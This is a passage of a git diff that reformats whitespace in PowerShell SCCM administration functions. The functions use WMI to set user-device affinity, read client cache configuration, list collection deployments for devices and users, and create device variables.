SCCM SiteCode + + .PARAMETER SiteServer + Specifies the SCCM Management Server + + .PARAMETER DeviceName + Specifies the DeviceName on which the Primary User will be added + + .PARAMETER DeviceID + Specifies the ResourceID of the Device + + .PARAMETER UserName + Specifies the UserName that will be added as a Primary User on the Device + + .PARAMETER Credential + Specifies alternative credentials to use + + .EXAMPLE + Add-SCCMUserDeviceAffinity -DeviceName WORKSTATION01 -UserName "DOMAIN/UserAccount" + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm #> - [CmdletBinding()] - Param ( - [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Site code")] - $SiteCode, - - [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Name")] - $SiteServer, - - [Parameter(Mandatory = $True, HelpMessage = "Please Enter Device Name")] - $DeviceName, - - [Parameter()] - $DeviceID, - - [Parameter(Mandatory = $True, HelpMessage = "Please Enter User Name")] - $UserName, - - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - - $Splatting = @{ - NameSpace = "root\sms\site_$SiteCode" - ComputerName = $SiteServer - } - - IF ($PSBoundParameters['Credential']) - { - $Splatting.Credential = $Credential - } - - - $AffinityType = 2 # Administrator defined - - IF ($PSBoundParameters['DeviceName']) - { - $ResourceID = (Get-WmiObject @Splatting -Class "SMS_CombinedDeviceResources" -Filter "Name='$DeviceName'" -ErrorAction STOP).resourceID - } - IF ($PSBoundParameters['DeviceID']) - { - $ResourceID = $DeviceID - } - - Invoke-WmiMethod @Splatting -Class "SMS_UserMachineRelationship" -Name "CreateRelationship" -ArgumentList @($ResourceID, $AffinityType, 1, $UserName) + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Site code")] + $SiteCode, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Name")] + $SiteServer, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Device Name")] + $DeviceName, + + [Parameter()] + $DeviceID, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter User Name")] + $UserName, + + [Alias("RunAs")] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $Splatting = @{ + NameSpace = "root\sms\site_$SiteCode" + ComputerName = $SiteServer + } + + IF ($PSBoundParameters['Credential']) + { + $Splatting.Credential = $Credential + } + + + $AffinityType = 2 # Administrator defined + + IF ($PSBoundParameters['DeviceName']) + { + $ResourceID = (Get-WmiObject @Splatting -Class "SMS_CombinedDeviceResources" -Filter "Name='$DeviceName'" -ErrorAction STOP).resourceID + } + IF ($PSBoundParameters['DeviceID']) + { + $ResourceID = $DeviceID + } + + Invoke-WmiMethod @Splatting -Class "SMS_UserMachineRelationship" -Name "CreateRelationship" -ArgumentList @($ResourceID, $AffinityType, 1, $UserName) } \ No newline at end of file diff --git a/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 index 9b40be00..5f1c1f4b 100644 --- a/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 +++ b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 @@ -1,68 +1,68 @@ function Get-SCCMClientCacheInformation { <# - .SYNOPSIS - Function to get the cache size on a SCCM Client - .DESCRIPTION - Function to get the cache size on a SCCM Client - .PARAMETER ComputerName - Specifies the name of the client - .PARAMETER Credential - Specifies the credential to use against the remote machine - Only work with the WMI query for now, not the service restart - .EXAMPLE - Get-SCCMClientCacheInformation -ComputerName Client01 - - This will get the client cache size on the computer Client01 - .NOTES - Francois-Xavier Cat + .SYNOPSIS + Function to get the cache size on a SCCM Client + .DESCRIPTION + Function to get the cache size on a SCCM Client + .PARAMETER ComputerName + Specifies the name of the client + .PARAMETER Credential + Specifies the credential to use against the remote machine + Only work with the WMI query for now, not the service restart + .EXAMPLE + Get-SCCMClientCacheInformation -ComputerName Client01 + + This will get the client cache size on the computer Client01 + .NOTES + Francois-Xavier Cat www.lazywinadmin.com @lazywinadm - github.com/lazywinadmin + github.com/lazywinadmin - 1.0 | 2017/11/01 | Francois-Xavier Cat - Initial Version - 1.1 | 2017/11/01 | Francois-Xavier Cat - Update Error handling and messages + 1.0 | 2017/11/01 | Francois-Xavier Cat + Initial Version + 1.1 | 2017/11/01 | Francois-Xavier Cat + Update Error handling and messages #> - PARAM( - [string[]]$ComputerName=".", - - [Alias('RunAs')] - [System.Management.Automation.Credential()] - [pscredential] - $Credential = [System.Management.Automation.PSCredential]::Empty - ) + PARAM( + [string[]]$ComputerName=".", + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + [pscredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + FOREACH ($Computer in $ComputerName) + { + Write-Verbose -message "[PROCESS] ComputerName: $Computer" + + # Define Parameters + $SplattingWMI = @{ + NameSpace = "ROOT\CCM\SoftMgmtAgent" + Class = "CacheConfig" + } + + IF ($PSBoundParameters['ComputerName']) + { + $SplattingWMI.ComputerName = $Computer + } + IF ($PSBoundParameters['Credential']) + { + $SplattingWMI.Credential = $Credential + } - FOREACH ($Computer in $ComputerName) - { - Write-Verbose -message "[PROCESS] ComputerName: $Computer" - - # Define Parameters - $SplattingWMI = @{ - NameSpace = "ROOT\CCM\SoftMgmtAgent" - Class = "CacheConfig" - } + TRY + { + # Get the Client information + Get-WmiObject @SplattingWMI - IF ($PSBoundParameters['ComputerName']) - { - $SplattingWMI.ComputerName = $Computer - } - IF ($PSBoundParameters['Credential']) - { - $SplattingWMI.Credential = $Credential - } - - TRY - { - # Get the Client information - Get-WmiObject @SplattingWMI - - } - CATCH - { - Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" - $Error[0].execption.message - } - } + } + CATCH + { + Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" + $Error[0].execption.message + } + } } diff --git a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 index c76c94fb..e8ce9b0c 100644 --- a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 @@ -1,200 +1,200 @@ function Get-SCCMDeviceCollectionDeployment { <# - .SYNOPSIS - Function to retrieve a Device targeted application(s) - - .DESCRIPTION - Function to retrieve a Device targeted application(s). - The function will first retrieve all the collection where the Device is member of and - find deployment advertised to those. - - .PARAMETER Devicename - Specifies the SamAccountName of the Device. - The Device must be present in the SCCM CMDB - - .PARAMETER SiteCode - Specifies the SCCM SiteCode - - .PARAMETER ComputerName - Specifies the SCCM Server to query - - .PARAMETER Credential - Specifies the credential to use to query the SCCM Server. + .SYNOPSIS + Function to retrieve a Device targeted application(s) + + .DESCRIPTION + Function to retrieve a Device targeted application(s). + The function will first retrieve all the collection where the Device is member of and + find deployment advertised to those. + + .PARAMETER Devicename + Specifies the SamAccountName of the Device. + The Device must be present in the SCCM CMDB + + .PARAMETER SiteCode + Specifies the SCCM SiteCode + + .PARAMETER ComputerName + Specifies the SCCM Server to query + + .PARAMETER Credential + Specifies the credential to use to query the SCCM Server. Default will take the current user credentials - - .PARAMETER Purpose - Specifies a specific deployment intent. + + .PARAMETER Purpose + Specifies a specific deployment intent. Possible value: Available or Required. Default is Null (get all) .EXAMPLE Get-SCCMDeviceCollectionDeployment -DeviceName MYCOMPUTER01 -Credential $cred -Purpose Required - - .NOTES + + .NOTES Francois-Xavier cat www.lazywinadmin.com - @lazywinadm - - CHANGE HISTORY - 1.0 | 2015/09/03 | Francois-Xavier Cat - Initial Version - 1.1 | 2017/09/15 | Francois-Xavier Cat - Update Comment based help - Update Crendential parameter type - Update Verbose messages - - SMS_R_SYSTEM: https://msdn.microsoft.com/en-us/library/cc145392.aspx - SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx - SMS_DeploymentInfo: https://msdn.microsoft.com/en-us/library/hh948268.aspx + @lazywinadm + + CHANGE HISTORY + 1.0 | 2015/09/03 | Francois-Xavier Cat + Initial Version + 1.1 | 2017/09/15 | Francois-Xavier Cat + Update Comment based help + Update Crendential parameter type + Update Verbose messages + + SMS_R_SYSTEM: https://msdn.microsoft.com/en-us/library/cc145392.aspx + SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx + SMS_DeploymentInfo: https://msdn.microsoft.com/en-us/library/hh948268.aspx #> - [CmdletBinding()] - PARAM - ( - [Parameter(Mandatory)] - [System.String]$DeviceName, - + [CmdletBinding()] + PARAM + ( + [Parameter(Mandatory)] + [System.String]$DeviceName, + [Parameter(Mandatory)] - [System.String]$SiteCode, - + [System.String]$SiteCode, + [Parameter(Mandatory)] - [System.String]$ComputerName, - - [Alias('RunAs')] - [pscredential] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [ValidateSet('Required', 'Available')] - [System.String]$Purpose - ) - - BEGIN - { - $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name - - Write-Verbose -Message "[$FunctionName] Create splatting" - - # Define default properties - $Splatting = @{ - ComputerName = $ComputerName - NameSpace = "root\SMS\Site_$SiteCode" - } - - IF ($PSBoundParameters['Credential']) - { - Write-Verbose -Message "[$FunctionName] Append splatting" - $Splatting.Credential = $Credential - } - - Switch ($Purpose) - { - "Required" { $DeploymentIntent = 0 } - "Available" { $DeploymentIntent = 2 } - default { $DeploymentIntent = "NA" } - } - - Write-Verbose -Message "[$FunctionName] Define helper functions" - Write-Verbose -Message "[$FunctionName] helper function: Get-SCCMDeploymentIntentName" - Function Get-SCCMDeploymentIntentName - { - PARAM( - [Parameter(Mandatory)] - $DeploymentIntent - ) - PROCESS - { - if ($DeploymentIntent = 0) { Write-Output "Required" } - if ($DeploymentIntent = 2) { Write-Output "Available" } - if ($DeploymentIntent -ne 0 -and $DeploymentIntent -ne 2) { Write-Output "NA" } - } - } #Function Get-DeploymentIntentName - - Write-Verbose -Message "[$FunctionName] helper function: Get-SCCMDeploymentTypeName" - function Get-SCCMDeploymentTypeName - { - <# - https://msdn.microsoft.com/en-us/library/hh948731.aspx - #> - PARAM ($TypeID) - switch ($TypeID) - { - 1 { "Application" } - 2 { "Program" } - 3 { "MobileProgram" } - 4 { "Script" } - 5 { "SoftwareUpdate" } - 6 { "Baseline" } - 7 { "TaskSequence" } - 8 { "ContentDistribution" } - 9 { "DistributionPointGroup" } - 10{ "DistributionPointHealth" } - 11{ "ConfigurationPolicy" } - } - } - - } - PROCESS - { - TRY - { - - Write-Verbose -Message "[$FunctionName] Retrieving Device '$DeviceName'..." - $Device = Get-WMIObject @Splatting -Query "Select * From SMS_R_SYSTEM WHERE Name='$DeviceName'" - - Write-Verbose -Message "[$FunctionName] Retrieving collection(s) where the device is member..." - Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($Device.resourceid)'" | ForEach-Object { - - Write-Verbose -Message "[$FunctionName] Retrieving collection '$($_.Collectionid)'..." - $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE CollectionID='$($_.Collectionid)'" - - Foreach ($Collection in $collections) - { - IF ($DeploymentIntent -eq 'NA') - { - Write-Verbose -Message "[$FunctionName] DeploymentIntent is not specified" - $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") - } - ELSE - { - Write-Verbose -Message "[$FunctionName] DeploymentIntent '$DeploymentIntent'" - $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") - } - - Foreach ($Deploy in $Deployments) - { - Write-Verbose -Message "[$FunctionName] Retrieving DeploymentType..." - $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentTypeid - if (-not $TypeName) { $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentType } - - # Prepare output - Write-Verbose -Message "[$FunctionName] Preparing output..." - $Properties = @{ - DeviceName = $DeviceName - ComputerName = $ComputerName - CollectionName = $Deploy.CollectionName - CollectionID = $Deploy.CollectionID - DeploymentID = $Deploy.DeploymentID - DeploymentName = $Deploy.DeploymentName - DeploymentIntent = $deploy.DeploymentIntent - DeploymentIntentName = (Get-SCCMDeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) - DeploymentTypeName = $TypeName - TargetName = $Deploy.TargetName - TargetSubName = $Deploy.TargetSubname - - } - - #Output the current object - Write-Verbose -Message "[$FunctionName] Output information" - New-Object -TypeName PSObject -prop $Properties - - # Reset TypeName - $TypeName="" - } - } - } - } - CATCH{ - $PSCmdlet.ThrowTerminatingError() - } - } + [System.String]$ComputerName, + + [Alias('RunAs')] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [ValidateSet('Required', 'Available')] + [System.String]$Purpose + ) + + BEGIN + { + $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name + + Write-Verbose -Message "[$FunctionName] Create splatting" + + # Define default properties + $Splatting = @{ + ComputerName = $ComputerName + NameSpace = "root\SMS\Site_$SiteCode" + } + + IF ($PSBoundParameters['Credential']) + { + Write-Verbose -Message "[$FunctionName] Append splatting" + $Splatting.Credential = $Credential + } + + Switch ($Purpose) + { + "Required" { $DeploymentIntent = 0 } + "Available" { $DeploymentIntent = 2 } + default { $DeploymentIntent = "NA" } + } + + Write-Verbose -Message "[$FunctionName] Define helper functions" + Write-Verbose -Message "[$FunctionName] helper function: Get-SCCMDeploymentIntentName" + Function Get-SCCMDeploymentIntentName + { + PARAM( + [Parameter(Mandatory)] + $DeploymentIntent + ) + PROCESS + { + if ($DeploymentIntent = 0) { Write-Output "Required" } + if ($DeploymentIntent = 2) { Write-Output "Available" } + if ($DeploymentIntent -ne 0 -and $DeploymentIntent -ne 2) { Write-Output "NA" } + } + } #Function Get-DeploymentIntentName + + Write-Verbose -Message "[$FunctionName] helper function: Get-SCCMDeploymentTypeName" + function Get-SCCMDeploymentTypeName + { + <# + https://msdn.microsoft.com/en-us/library/hh948731.aspx + #> + PARAM ($TypeID) + switch ($TypeID) + { + 1 { "Application" } + 2 { "Program" } + 3 { "MobileProgram" } + 4 { "Script" } + 5 { "SoftwareUpdate" } + 6 { "Baseline" } + 7 { "TaskSequence" } + 8 { "ContentDistribution" } + 9 { "DistributionPointGroup" } + 10{ "DistributionPointHealth" } + 11{ "ConfigurationPolicy" } + } + } + + } + PROCESS + { + TRY + { + + Write-Verbose -Message "[$FunctionName] Retrieving Device '$DeviceName'..." + $Device = Get-WMIObject @Splatting -Query "Select * From SMS_R_SYSTEM WHERE Name='$DeviceName'" + + Write-Verbose -Message "[$FunctionName] Retrieving collection(s) where the device is member..." + Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($Device.resourceid)'" | ForEach-Object { + + Write-Verbose -Message "[$FunctionName] Retrieving collection '$($_.Collectionid)'..." + $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE CollectionID='$($_.Collectionid)'" + + Foreach ($Collection in $collections) + { + IF ($DeploymentIntent -eq 'NA') + { + Write-Verbose -Message "[$FunctionName] DeploymentIntent is not specified" + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") + } + ELSE + { + Write-Verbose -Message "[$FunctionName] DeploymentIntent '$DeploymentIntent'" + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") + } + + Foreach ($Deploy in $Deployments) + { + Write-Verbose -Message "[$FunctionName] Retrieving DeploymentType..." + $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentTypeid + if (-not $TypeName) { $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentType } + + # Prepare output + Write-Verbose -Message "[$FunctionName] Preparing output..." + $Properties = @{ + DeviceName = $DeviceName + ComputerName = $ComputerName + CollectionName = $Deploy.CollectionName + CollectionID = $Deploy.CollectionID + DeploymentID = $Deploy.DeploymentID + DeploymentName = $Deploy.DeploymentName + DeploymentIntent = $deploy.DeploymentIntent + DeploymentIntentName = (Get-SCCMDeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) + DeploymentTypeName = $TypeName + TargetName = $Deploy.TargetName + TargetSubName = $Deploy.TargetSubname + + } + + #Output the current object + Write-Verbose -Message "[$FunctionName] Output information" + New-Object -TypeName PSObject -prop $Properties + + # Reset TypeName + $TypeName="" + } + } + } + } + CATCH{ + $PSCmdlet.ThrowTerminatingError() + } + } } diff --git a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 index 29931db7..d7139843 100644 --- a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 @@ -1,158 +1,158 @@ function Get-SCCMUserCollectionDeployment { <# - .SYNOPSIS - Function to retrieve a User's collection deployment - - .DESCRIPTION - Function to retrieve a User's collection deployment - The function will first retrieve all the collection where the user is member of and - find deployments advertised on those. - - The final output will include user, collection and deployment information. - - .PARAMETER Username - Specifies the SamAccountName of the user. - The user must be present in the SCCM CMDB - - .PARAMETER SiteCode - Specifies the SCCM SiteCode - - .PARAMETER ComputerName - Specifies the SCCM Server to query - - .PARAMETER Credential - Specifies the credential to use to query the SCCM Server. + .SYNOPSIS + Function to retrieve a User's collection deployment + + .DESCRIPTION + Function to retrieve a User's collection deployment + The function will first retrieve all the collection where the user is member of and + find deployments advertised on those. + + The final output will include user, collection and deployment information. + + .PARAMETER Username + Specifies the SamAccountName of the user. + The user must be present in the SCCM CMDB + + .PARAMETER SiteCode + Specifies the SCCM SiteCode + + .PARAMETER ComputerName + Specifies the SCCM Server to query + + .PARAMETER Credential + Specifies the credential to use to query the SCCM Server. Default will take the current user credentials - - .PARAMETER Purpose - Specifies a specific deployment intent. + + .PARAMETER Purpose + Specifies a specific deployment intent. Possible value: Available or Required. Default is Null (get all) - + .EXAMPLE Get-SCCMUserCollectionDeployment -UserName TestUser -Credential $cred -Purpose Required - - .NOTES + + .NOTES Francois-Xavier cat www.lazywinadmin.com - @lazywinadm + @lazywinadm - SMS_R_User: https://msdn.microsoft.com/en-us/library/hh949577.aspx - SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx - SMS_DeploymentInfo: https://msdn.microsoft.com/en-us/library/hh948268.aspx + SMS_R_User: https://msdn.microsoft.com/en-us/library/hh949577.aspx + SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx + SMS_DeploymentInfo: https://msdn.microsoft.com/en-us/library/hh948268.aspx #> - - [CmdletBinding()] - PARAM - ( - [Parameter(Mandatory)] - [Alias('SamAccountName')] - $UserName, - - [Parameter(Mandatory)] - $SiteCode, - - [Parameter(Mandatory)] - $ComputerName, - - [Alias('RunAs')] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [ValidateSet('Required', 'Available')] - $Purpose - ) - - BEGIN - { - # Verify if the username contains the domain name - # If it does... remove the domain name - # Example: "FX\TestUser" will become "TestUser" - if ($UserName -like '*\*') { $UserName = ($UserName -split '\\')[1] } - - # Define default properties - $Splatting = @{ - ComputerName = $ComputerName - NameSpace = "root\SMS\Site_$SiteCode" - } - - IF ($PSBoundParameters['Credential']) - { - $Splatting.Credential = $Credential - } - - Switch ($Purpose) - { - "Required" { $DeploymentIntent = 0 } - "Available" { $DeploymentIntent = 2 } - default { $DeploymentIntent = "NA" } - } - - Function Get-DeploymentIntentName - { - PARAM( - [Parameter(Mandatory)] - $DeploymentIntent - ) - PROCESS - { - if ($DeploymentIntent = 0) { Write-Output "Required" } - if ($DeploymentIntent = 2) { Write-Output "Available" } - if ($DeploymentIntent -ne 0 -and $DeploymentIntent -ne 2) { Write-Output "NA" } - } - }#Function Get-DeploymentIntentName - - - } - PROCESS - { - # Find the User in SCCM CMDB - $User = Get-WMIObject @Splatting -Query "Select * From SMS_R_User WHERE UserName='$UserName'" - - # Find the collections where the user is member of - Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($user.resourceid)'" | - ForEach-Object { - - # Retrieve the collection of the user - $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE CollectionID='$($_.Collectionid)'" - - - # Retrieve the deployments (advertisement) of each collections - Foreach ($Collection in $collections) - { - IF ($DeploymentIntent -eq 'NA') - { - # Find the Deployment on one collection - $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") - } - ELSE - { - $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") - } - - Foreach ($Deploy in $Deployments) - { - - # Prepare Output - $Properties = @{ - UserName = $UserName - ComputerName = $ComputerName - CollectionName = $Deploy.CollectionName - CollectionID = $Deploy.CollectionID - DeploymentID = $Deploy.DeploymentID - DeploymentName = $Deploy.DeploymentName - DeploymentIntent = $deploy.DeploymentIntent - DeploymentIntentName = (Get-DeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) - TargetName = $Deploy.TargetName - TargetSubName = $Deploy.TargetSubname - - } - - # Output the current Object - New-Object -TypeName PSObject -prop $Properties - } - } - } - } + + [CmdletBinding()] + PARAM + ( + [Parameter(Mandatory)] + [Alias('SamAccountName')] + $UserName, + + [Parameter(Mandatory)] + $SiteCode, + + [Parameter(Mandatory)] + $ComputerName, + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [ValidateSet('Required', 'Available')] + $Purpose + ) + + BEGIN + { + # Verify if the username contains the domain name + # If it does... remove the domain name + # Example: "FX\TestUser" will become "TestUser" + if ($UserName -like '*\*') { $UserName = ($UserName -split '\\')[1] } + + # Define default properties + $Splatting = @{ + ComputerName = $ComputerName + NameSpace = "root\SMS\Site_$SiteCode" + } + + IF ($PSBoundParameters['Credential']) + { + $Splatting.Credential = $Credential + } + + Switch ($Purpose) + { + "Required" { $DeploymentIntent = 0 } + "Available" { $DeploymentIntent = 2 } + default { $DeploymentIntent = "NA" } + } + + Function Get-DeploymentIntentName + { + PARAM( + [Parameter(Mandatory)] + $DeploymentIntent + ) + PROCESS + { + if ($DeploymentIntent = 0) { Write-Output "Required" } + if ($DeploymentIntent = 2) { Write-Output "Available" } + if ($DeploymentIntent -ne 0 -and $DeploymentIntent -ne 2) { Write-Output "NA" } + } + }#Function Get-DeploymentIntentName + + + } + PROCESS + { + # Find the User in SCCM CMDB + $User = Get-WMIObject @Splatting -Query "Select * From SMS_R_User WHERE UserName='$UserName'" + + # Find the collections where the user is member of + Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($user.resourceid)'" | + ForEach-Object { + + # Retrieve the collection of the user + $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE CollectionID='$($_.Collectionid)'" + + + # Retrieve the deployments (advertisement) of each collections + Foreach ($Collection in $collections) + { + IF ($DeploymentIntent -eq 'NA') + { + # Find the Deployment on one collection + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") + } + ELSE + { + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") + } + + Foreach ($Deploy in $Deployments) + { + + # Prepare Output + $Properties = @{ + UserName = $UserName + ComputerName = $ComputerName + CollectionName = $Deploy.CollectionName + CollectionID = $Deploy.CollectionID + DeploymentID = $Deploy.DeploymentID + DeploymentName = $Deploy.DeploymentName + DeploymentIntent = $deploy.DeploymentIntent + DeploymentIntentName = (Get-DeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) + TargetName = $Deploy.TargetName + TargetSubName = $Deploy.TargetSubname + + } + + # Output the current Object + New-Object -TypeName PSObject -prop $Properties + } + } + } + } } diff --git a/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 index 6e7448a0..36c2a44f 100644 --- a/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 +++ b/SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 @@ -1,178 +1,178 @@ function New-SCCMDeviceVariable { - <# - .SYNOPSIS - function to create a new SCCM Device Variable - - .DESCRIPTION - function to create a new SCCM Device Variable - - This function is relying on WMI to create a new SCCM Device Variable. - You don't need the SCCM Module or SCCM Console installed to run it. - Also this cmdlet support alternative credential. - - .PARAMETER ComputerName - Specifies the SCCM Server - - .PARAMETER SiteCode - Specifies the SCCM Site Code - - .PARAMETER Credential - Specifies the alternative credential - If not specified it will use the current user. - - .PARAMETER ResourceID - Specifies the Device ResourceID - - .PARAMETER Name - Specifies the Variable Name - Alias: VariableName - - .PARAMETER Value - Specifies the Variable Value - Alias: VariableValue - - .PARAMETER IsMasked - Specifies if the Variable value is masked. - Default is $False - - .EXAMPLE - New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test01 -Value 'Some Information' - - .EXAMPLE - New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test02 -Value 'Secret information' -IsMasked $true - - .EXAMPLE - New-SCCMDeviceVariable -ComputerName SCCM01 -SiteCode F01 -ResourceID 000000222 -Name Test03 -Value 'Some more info' -Credential (get-Credential) - - .EXAMPLE - $MyParams = @{ - ComputerName = 'SCCM01' - SiteCode = 'F01' - ResourceID = '000000222' - Name = 'Test03' - Value = 'Some more info' - Credential = (get-Credential) - } - - New-SCCMDeviceVariable @MyParams - - .NOTES - Francois-Xavier Cat - lazywinadmin.com - @lazywinadm - github.com/lazywinadmin - #> - [cmdletbinding()] - PARAM ( - [parameter(Mandatory = $true)] - [Alias('SiteServer')] - [System.String]$ComputerName, - - [parameter(Mandatory = $true)] - [System.String]$SiteCode, - - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [parameter(Mandatory = $true)] - [int]$ResourceID, - - [parameter(Mandatory = $true)] - [Alias("VariableName")] - [System.String]$Name, - - [parameter(Mandatory = $true)] - [Alias("VariableValue")] - [System.String]$Value, - - [System.Boolean]$IsMasked = $false - ) - PROCESS - { - TRY - { - Write-Verbose -Message "$ResourceID - Create splatting" - $SCCM_Splatting = @{ - ComputerName = $ComputerName - NameSpace = "root\sms\site_$SiteCode" - } - - IF ($PSBoundParameters['Credential']) - { - $SCCM_Splatting.Credential = $Credential - } - - Write-Verbose -Message "$ResourceID - Verify if machine settings exist" - # Check if the device already has a MachineSetting - $MachineSettingsClass = Get-WmiObject @SCCM_Splatting -Query "SELECT ResourceID FROM SMS_MachineSettings WHERE ResourceID = '$ResourceID'" - - # If a Machine Settings is found - if ($MachineSettingsClass) - { - Write-Verbose -Message "$ResourceID - Machine Settings Exists" - - # Create a new MachineVariable class instance - Write-Verbose -Message "$ResourceID - Create Variable" - $MachineVariablesClass = Get-WmiObject -list @SCCM_Splatting -Class "SMS_MachineVariable" - $NewMachineVariableInstance = $MachineVariablesClass.CreateInstance() - - # Add the Variable - $NewMachineVariableInstance.psbase.Properties['Name'].Value = $Name - $NewMachineVariableInstance.psbase.Properties['Value'].Value = $Value - $NewMachineVariableInstance.psbase.Properties['IsMasked'].Value = $IsMasked - - # Retrieve the Machine Settings - $MachineSettingsClass.get() - - - # Insert the variable we just created into the machine settings - Write-Verbose -Message "$ResourceID - Insert machine Variable into machine settings" - $MachineSettingsClass.MachineVariables += $NewMachineVariableInstance - - # Save our change back to SCCM - Write-Verbose -Message "$ResourceID - Save Change" - $MachineSettingsClass.Put() - } - else - { - Write-Verbose -Message "$ResourceID - Machine Settings does NOT Exists" - - # Create a new machine setting - Write-Verbose -Message "$ResourceID - Machine Settings - Creation" - $MachineSettingsClass = Get-WmiObject @SCCM_Splatting -List -Class 'SMS_MachineSettings' - $NewMachineSettingsClassInstance = $MachineSettingsClass.CreateInstance() - - # Specify the Resource id and SourceSite(SiteCode) - $NewMachineSettingsClassInstance.psbase.properties["ResourceID"].value = $ResourceID - $NewMachineSettingsClassInstance.psbase.properties["SourceSite"].value = $SiteCode - - # Create a new MachineVariable class instance - Write-Verbose -Message "$ResourceID - Machine Variable - Creation" - $MachineVariablesClass = Get-WmiObject -list @SCCM_Splatting -Class "SMS_MachineVariable" - $NewMachineVariablesInstance = $MachineVariablesClass.CreateInstance() - - # Add the Variable - $NewMachineVariablesInstance.psbase.Properties['Name'].Value = $Name - $NewMachineVariablesInstance.psbase.Properties['Value'].Value = $Value - $NewMachineVariablesInstance.psbase.Properties['IsMasked'].Value = $IsMasked - - # Insert the variable we just created into the machine settings - Write-Verbose -Message "$ResourceID - Insert machine Variable into machine settings" - $NewMachineSettingsClassInstance.MachineVariables += $NewMachineVariablesInstance - - # Save our change back to SCCM - Write-Verbose -Message "$ResourceID - Save Change" - 